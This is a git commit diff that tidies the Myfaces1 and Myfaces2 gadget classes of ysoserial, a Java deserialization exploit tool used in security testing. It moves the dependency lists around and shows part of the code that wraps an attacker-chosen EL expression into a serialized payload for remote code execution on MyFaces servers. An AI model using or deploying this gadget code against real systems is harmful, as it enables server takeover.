Some cleanup of myfaces gadgets.

This commit is contained in:
mbechler
2016-03-06 14:54:49 +01:00
parent 7879428d9c
commit 6bb0d80aa0
2 changed files with 33 additions and 29 deletions
+31 -8
View File
@@ -1,7 +1,6 @@
package ysoserial.payloads; package ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import javax.el.ELContext; import javax.el.ELContext;
@@ -20,6 +19,7 @@ import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/** /**
@@ -44,7 +44,7 @@ import ysoserial.payloads.util.PayloadRunner;
"nls", "javadoc" "nls", "javadoc"
} ) } )
@PayloadTest(skip="Requires running MyFaces, no direct execution") @PayloadTest(skip="Requires running MyFaces, no direct execution")
public class Myfaces1 implements ObjectPayload<Object> { public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
/** /**
* {@inheritDoc} * {@inheritDoc}
@@ -55,11 +55,37 @@ public class Myfaces1 implements ObjectPayload<Object> {
public Object getObject ( String command ) throws Exception { public Object getObject ( String command ) throws Exception {
return makeExpressionPayload(command); return makeExpressionPayload(command);
} }
public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
}
/** /**
* @param expr * @param expr
* @return * @return
* @throws IllegalArgumentException
* @throws NoSuchFieldException * @throws NoSuchFieldException
* @throws IllegalAccessException * @throws IllegalAccessException
* @throws Exception * @throws Exception
@@ -68,15 +94,12 @@ public class Myfaces1 implements ObjectPayload<Object> {
* @throws InstantiationException * @throws InstantiationException
* @throws InvocationTargetException * @throws InvocationTargetException
*/ */
public static Object makeExpressionPayload ( String expr ) throws NoSuchFieldException, IllegalAccessException, Exception, ClassNotFoundException, public static Object makeExpressionPayload ( String expr ) throws IllegalArgumentException, IllegalAccessException, Exception {
NoSuchMethodException, InstantiationException, InvocationTargetException {
FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null); FacesContextImpl fc = new FacesContextImpl((ServletContext) null, (ServletRequest) null, (ServletResponse) null);
Field fEl = FacesContextImplBase.class.getDeclaredField("_elContext");
fEl.setAccessible(true);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
fEl.set(fc, elContext); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$ ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); //$NON-NLS-1$
+2 -21
View File
@@ -31,28 +31,9 @@ import ysoserial.payloads.util.PayloadRunner;
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies () { public static String[] getDependencies () {
if ( System.getProperty("el") == null || "apache".equals(System.getProperty("el")) ) { return Myfaces1.getDependencies();
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
} else if ( "juel".equals(System.getProperty("el")) ) {
return new String[] {
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
};
}
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
} }
/** /**